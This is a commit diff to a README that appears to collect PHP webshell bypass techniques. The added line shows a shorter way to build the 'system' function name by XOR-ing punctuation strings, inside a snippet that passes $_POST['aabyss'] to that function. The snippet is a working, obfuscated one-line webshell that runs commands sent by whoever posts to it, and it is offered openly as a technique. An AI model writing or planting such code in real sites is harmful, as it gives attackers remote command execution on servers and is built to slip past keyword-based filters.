Update README.md

Author: AabyssZG

README.md

@@ -1009,6 +1009,7 @@ $zzz = new Test1;
 
 ```php
 $f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0');   //system高危函数
+$f = ('.$.48]' ^ ']]]@]0');   //等同于这样
 $f($_POST['aabyss']);
 ```